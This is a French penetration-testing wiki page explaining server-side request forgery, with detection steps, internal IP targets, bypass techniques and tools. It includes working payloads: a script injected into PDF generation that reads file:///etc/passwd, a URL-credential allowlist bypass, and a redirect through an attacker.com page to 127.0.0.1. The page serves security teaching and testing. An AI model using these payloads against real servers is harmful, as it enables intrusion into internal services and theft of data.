Pentest & Bug Bounty
  • 🥷Pentest et Bug Bounty
    • 👾Pentest Methodology
    • 💸Bug Bounty Methodology
      • 📓Ecrire un bon rapport
      • ⚖️Aspect Juridique (FR)
  • 👣OSINT / Recon
    • 🧦Sock Puppet
    • 🧠Mindmaps
    • 🏢Entreprise
    • 👀Leaks
    • 👊Manuel / Dorks
      • Google dorks
      • Github dorks
      • Twitter Dorks
      • Shodan Dorks
    • 👥Réseaux sociaux (SOCMINT)
      • 🕵️Telegram OSINT
      • 👻Snapchat OSINT
      • 🤵‍♂️Linkedin OSINT
      • 🗣️Facebook OSINT
      • 🎼Tik tok OSINT
      • 📷Instagram OSINT
      • 🐦Twitter OSINT
      • 🔊Discord OSINT
    • 🖇️Domaines et Sous-domaines
    • 🚪Scan de ports / web
    • ✉️Emails
    • 🔗Réseau
    • 📷Screenshots
    • 📹Live camera
    • 🧔Reconnaissance faciale / images
    • 🌆Images
    • 🗺️Maps
    • 👁️Active Directory
    • ☁️Cloud
    • Autre
  • 🌐Pentest Web
    • ✊Brute force / Fuzzing
    • 💉Injections
      • 🍪XSS
        • PDF injection
      • 📄HTMLi
      • 📃XXE
      • 7️⃣SSTI
      • 🔢SQLi
        • 👫UNION based
        • ⏳Time based
        • 🥽Boolean based / Error Based
        • 📤Out-Of-Band
      • ↩️CRLF
      • 🐚OS injection
      • ☕Log4Shell
      • 🥠CSV
      • 🍻ESI
      • 😎XSLT
      • 💌Injections dans emails
      • 🔀ELi
        • OGNLi
    • ↪️Open redirect
    • 📁Path Traversal / LFI / RFI
    • 🔓Bypass
      • 〰️WAF / Filter bypass
      • 2️2FA
    • ☠️Charges utiles
    • 📚CMS (Content Management System)
      • WordPress
      • Joomla!
      • Magento
      • Drupal
    • 🎭SOP bypass
      • CORS
      • postMessage()
      • JSONP
    • 🖱️Clickjacking
    • ⚙️Insecure deserialization
    • ☣️Web Cache Poisoning / Deception
    • 🤝HTTP Smuggling
    • 👋OAuth
    • ⛔SAML
    • 🗝️JSON Web Token
    • 🎣CSRF
      • 🚀Cross-site WebSocket Hijacking (CSWSH)
    • 🎯IDOR
    • 🕹️SSRF
      • Cloud SSRF
      • Protocol Smuggling
    • ⚙️APIs
      • 🍽️REST
      • 📶GraphQL
    • ❓Mot de passe oublié
    • 🛒Fonctions d'achat et de facturation
    • 👽Broken authentication / register
    • 🏁Panneaux d'administration
    • ⏬Upload features
    • 🔗Broken Link Hijacking
    • 🎮Prise de contrôle de sous-domaine
    • 🛂Prise de contrôle de DNS
    • ☝️One liners
    • 🚧Misconfigurations
    • 🗿Analyse statique
      • PHP
      • Ruby On Rails
      • Perl
      • JAVA
      • Javascript
      • Python
      • Golang
      • .NET
    • 🪣AWS S3
    • 🤖Captcha
    • 🪞Race conditions
    • ☄️.git exposé
    • 💭Business logic
    • 🥡Prototype pollution
    • 💣Dependency confusion
    • 🛑DoS
      • 🤯ReDoS
      • 👏Hash flooding
      • 🧨Cookie bomb
    • Autre
      • Flask
      • Symphony
      • Spring Boot
      • Django
      • Jenkins
  • 🌩️Pentest Cloud
    • IaC (Infrastructure as Code)
      • Terraform
      • Helm
      • Kustomize
    • AWS
      • Enumeration
    • Azure
      • Entra ID
      • Azure Resource Manager (ARM)
        • Enumeration
    • GCP
      • GCP IAM
      • Authentification
      • Enumeration
    • Kubernetes
  • 🕸️Pentest Réseau
    • 🪡Protocoles réseau
    • 📡Wifi
    • 🔋BLE
    • 📍VPN
  • 🗂️Pentest AD
    • 👺GPP
    • ➡️Mouvements latéraux
      • 🔪Pass The Hash
      • 🗡️Over Pass The Hash
    • 📜ADCS
  • 📱Pentest Mobile
    • 🤖Android
      • 👾Méthodologie
      • 🌳Setup environnement
      • 🍇Collecte d'informations
      • 🔠Enumeration des données locales
      • 🔙Reverse engineering
        • 🪢Dé-obfuscation
      • ⛰️Analyse statique (Android)
      • 🐞Debug
      • 🎰Stockage de données non sécurisé
        • 📰Logs
        • 🤝Shared Preferences
        • 🔤Strings
        • 🗄️SQLite DB
        • 🗃️Realm DB
        • 🧠Mémoire
        • 📍Copy/Paste buffer caching
        • ⌨️Keyboard press caching
        • 🔙Backup
        • Carte SD
      • 🌩️Firebase/Appspot misconfig
      • 🔗Deeplinks vulns
        • Interception de contenu
        • WebView hijacking (via deeplink)
        • Invalid Digital assets links
      • 🖼️WebView vulns
        • WebView Hijacking
        • Exfiltration de données
        • RXSS
        • Vol de token
      • Guides outils
        • ⛏️Outil Drozer
          • Injections SQL (Android)
          • Path traversal (Android)
        • 🔬Outil Objection
        • 🪝Outil Frida
        • Outil Medusa / Mango
      • Bypass
        • 📲Contournement de détection d'emulateur
          • 📂Fichiers d'emulateurs
          • 🙋‍♂️Network Operator Name
        • 🦷Contournement des détections de rootage
          • 🧮Root management
          • 🗝️Clé de signature du noyau
          • 🧊Props dangereux
          • 🦸‍♂️Binaire "su"
          • ❌Permissions sur les repertoires
        • ☝️Contournement des protections biometriques
        • 📜SSL pinning bypass
        • Contournement de code PIN
      • 🔳Lecteur de code QR/EAN/Barres...
      • 💔Injection de backdoor
      • 🪧Task hijacking
      • 🎭Overlay attacks
        • Tapjacking
        • Invisible Keyboard
      • 📵Résilience
        • ⌨️Third Party Keyboards
        • ©️Allowed Copy/Paste on sensitive fields
        • 🛤️Background screen caching
        • 🖋️Schémas de signature
        • ⬆️In-App updates
      • 🤯Corruption de Mémoire
    • 🍏iOS
      • 🥅Méthodologie
      • 🧱Setup environnement (iOS)
      • ⏮️Reverse engineering (iOS)
      • 🏔️Analyse statique (iOS)
      • 🧿Contournement de détection de Jailbreak
      • 📌SSL pinning bypass (iOS)
      • 👇Contournement d'authentification biométrique
      • 🐛Contournement d'anti-Hooking/Debugging
      • 🙈Stockage de données non sécurisé (iOS)
        • 💭Mémoire (iOS)
        • 🏓Copy/Paste buffer caching (iOS)
        • 🍪Cookies (iOS)
        • 🗞️Logs (iOS)
        • ⌨️Cache du clavier (IOS)
        • Backup (IOS)
      • 📱Background screen caching
      • 🧑‍🚀WebView vulns (iOS)
      • Deeplinks vulns (iOS)
      • Lecteur de code QR
      • Firebase misc
  • 👷Pentest physique
    • 🔐Crochetage
    • 💳RFID
    • ⚙️Equipements
    • 💾Hardware Hacking
      • 📈UART
      • 🧪JTAG
      • ⚡SWD
      • 🪢SPI
      • 🚌I²C
      • 🔴Fault Injection
      • Side-Channel Attacks
    • 🐣Firmware hacking
  • 🖨️Pentest IoT
    • ⏪Replay de stream camera
    • 🗣️Assistants vocaux
    • 📹Camera IP
    • ⬇️DoS
    • 🖨️Imprimantes
    • 🎬Chromecast
  • 💀Hacking protocols
    • 😩Telnet - port 23
    • 🔐SSH - port 22
    • 📤FTP - port 21
    • ❔Whois - port 43
    • 👉DNS - port 53
    • 🐕‍🦺Kerberos - port 88
    • 💼SNMP - ports 161-162
    • 📨SMB - ports 445-139
    • 📧SMTP - ports 25-587
    • 🎦RTSP - port 554
    • 🔎MS-RPC - ports 135-593
    • ➕Rsync - port 873
    • 🔢MS-SQL - port 1433
    • 🏗️Docker - port 2375
    • 🔡MySQL - port 3306
    • 📝LDAP - ports 389, 636, 3268, 3269
    • 🖥️RDP - port 3389
    • ⌨️VNC - ports 5800,5801,5900,5901
  • 😈Ingénierie sociale
    • 🧠Concepts / Principes / Attaques
    • 🪧Ethique
    • 👤Profils comportementaux
  • 🔓Crack
  • 🛠️Autres outils utiles
    • 🚿Sandbox / Sanitizer
    • 🔤Générateurs de wordlists personnalisées
  • 🌜Post-Exploitation
    • 👔Énumération /Élévation de privilèges
      • 🐧Linux
        • CVE-2022-0847 (Dirty Pipe)
        • CVE 2021-4034 (PwnKit)
        • CVE 2021-3560 (Polkit)
      • 🪟Windows
        • 🖨️PrintNightmare
        • 🖨️SpoolFool
        • 🆔Usurpation de SAMAccountName
        • ⏲️Scheduled task/job (T1573.005)
        • 🐝HiveNightmare
        • 🔑Stored Credentials
        • 🎩SeImpersonatePrivilege
        • 🎒SeBackupPrivilege
        • 🍞Unquoted Service Path
        • 🧩DLL Hijacking
        • ©️SeBackupPrivilege
      • ⛴️Docker
    • 👻Effacement des traces
    • ⚓Persistance / Downloaders
    • 🛡️Defense evasion
    • 📦Exfiltration de Données
  • 🔎Forensic
    • 💡Méthodologie
    • 📺Live forensic
    • 💻Mémoire non volatile
    • 🕊️Mémoire volatile
    • 📄File forensic
Propulsé par GitBook
Sur cette page
  • Mindmaps
  • Sites
  • Description
  • Exploitation
  • Rechercher des fonctionnalitées potentiellement sensibles aux SSRF
  • Utiliser des URLs internes fréquentes
  • Plages IP
  • Observer le résultat
  • SSRF via parser PDF
  • SSRF via domain fronting
  • Bypass
  • Bypass via redirection
  • Bypass de Allowlist
  • Bypass de blocklist
  • Outils
  • Gopherus
  • Singularity
  • rbndr
  • Whonow

Cet article vous a-t-il été utile ?

  1. Pentest Web

SSRF

Server-Side Request Forgery

PrécédentIDORSuivantCloud SSRF

Dernière mise à jour il y a 3 mois

Cet article vous a-t-il été utile ?

Mindmaps

Sites

Description

La contrefaçon de requête côté serveur (également connue sous le nom de SSRF) est une vulnérabilité qui permet à un attaquant d'inciter l'application côté serveur à effectuer des requêtes vers un emplacement non souhaité.

Dans une attaque SSRF typique, l'attaquant peut amener le serveur à établir une connexion avec des services internes uniquement au sein de l'infrastructure de l'organisation. Dans d'autres cas, ils peuvent être en mesure de forcer le serveur à se connecter à des systèmes externes arbitraires, ce qui risque de divulguer des données sensibles telles que les informations d'identification d'autorisation.

Exploitation

Rechercher des fonctionnalitées potentiellement sensibles aux SSRF

Parmis ces fonctionnalitées, on retrouve toutes celles qui nécessitent de visiter et de récupérer des ressources externes.

C'est-à-dire:

  • Webhooks

  • Tumbnails

  • Extensions de lien

  • Services de proxy

  • URL intégrés dans des fichiers traités par l'application (XML, PDF par exemple)

  • API endpoints

  • Entrées utilisées dans des balises HTML

Utiliser des URLs internes fréquentes

Parmis les urls internes que l'on retrouve souvent dans les entreprises, on retrouve principalement les éléments suivant:

  • localhost

  • 127.0.0.1

  • 0.0.0.0

  • 192.168.0.1

  • 10.0.0.1

Plages IP

  • 10.0.0.0/8

  • 127.0.0.1/32

  • 172.16.0.0/12

  • 192.168.0.0/16

Observer le résultat

Dans le cas de SSRF standard, voyez si le serveur renvoie une réponse qui révèle toute information sur le service interne. Par exemple, la réponse contiennent des bannières de services ou le contenu de pages internes ?

Exemple:

REQUETE:

POST /upload_profile_from_url
Host: public.example.com

...
...
user_id=1234&url=127.0.0.1:22

REPONSE:

500 Internal Error
...
...
Error: cannot upload image: SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4

Le moyen le plus simple de détecter les SSRF aveugles consiste à utiliser une technologie hors bande. On fait en sorte que la cible envoie des requêtes à un serveur externe sous notre contrôle, puis on vérifie les réponses dans les logs du serveur. Pour ce faire, vous pouvez utiliser un service d'hébergement en ligne, tel que GoDaddy ou Hostinger qui fournissent les journaux d'accès au serveur. On peut aussi utiliser burp collaborator dans le cas où on possède burp pro.

SSRF via parser PDF

Si des entrées utilisateur sont reflété dans un PDF lors de sa génération, il est parfois possible d'obtenir une SSRF en utilisant XMLHttpRequest comme ceci par exemple:

<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///etc/passwd");x.send();</script>

SSRF via domain fronting

Les serveurs web traitent naturellement le domaine présent dans le header HTTP "Host:" avant l'hôte fourni dans l'URL.

Le principe du domain fronting est donc de remplacer le domaine du header Host par un domaine contrôlé par l'attaquant (Host header injection). Cependant, pour que cela fonctionne, il est nécessaire que les deux domaines (dans le header Host et l'URL) aient leur fichier de configuration Virtual Host présent sur le même serveur web.

Bypass

Bypass via redirection

Bypass de Allowlist

Bypass de regex

On peut également essayer de placer un domaine de confiance dans le point vulnérable tel que https://trusted.target.com@127.0.0.1

Bypass de blocklist

Via redirection

On peut par exemple essayer de passer par un domaine en notre possession qui contiendrait une redirection vers une IP interne.

Exemple:

Requête envoyée:

https://target.com/proxy?url=https://attacker.com/ssrf

Contenu de https://attacker.com/ssrf:

<?php header("location: http://127.0.0.1"); ?>

Via utilisation d'une IPv6

En effet si une protection a été mise en place sur les IPv4 il n'est pas impossible que les IPv6 aient été omises.

Via utilisation d'enregistrements DNS

Il est également tout a fait possible de faire pointer un enregistrement DNS A ou AAAA de votre serveur vers une IP interne type 127.0.0.1.

Dans ce cas, lorsque le serveur cible fera une requête vers votre serveur, il fera en fait une requête vers l'IP interne spécifié de son réseau.

Via hostname à la place d'IP

Exemple: 169.254.169.254 => 169.254.169.254.nip.io ou 169-254-169-254.nip.io

Via Encoding

Outils

Gopherus

Gopherus est un outil permettant de tenter d'escalader une SSRF en RCE en générant des lien exploitant divers services. (Applications PHP seulement)

Exemple d'utilisation:

$ gopherus --exploit mysql

Singularity

Singularity est un framework dédié aux attaques de type DNS rebinding.

rbndr

Service de DNS rebinding pour SSRF en aveugle.

Whonow

Whonow est un serveur DNS dédié à l'exploitation de DNS rebinding.

=>

Via utilisation d'un ce qui permettrait de passer par un (sous-)domaine de confiance.

Voir .

ressource:

ressource:

ressource:

ressource:

🌐
🕹️
https://beeceptor.com/
https://ssrf.cvssadvisor.com/
https://webhook.site/
http://nicob.net/redir6a
https://169.254.169.254/
open redirect
https://github.com/tarunkant/Gopherus
https://github.com/nccgroup/singularity
https://github.com/taviso/rbndr
https://github.com/brannondorsey/whonow
URL données par des entrées utilisateurs
SSRF Bypass
File upload
URL validation bypass cheat sheet for SSRF/CORS/Redirect - 2024 Edition | Web Security AcademyWebSecAcademy
Logo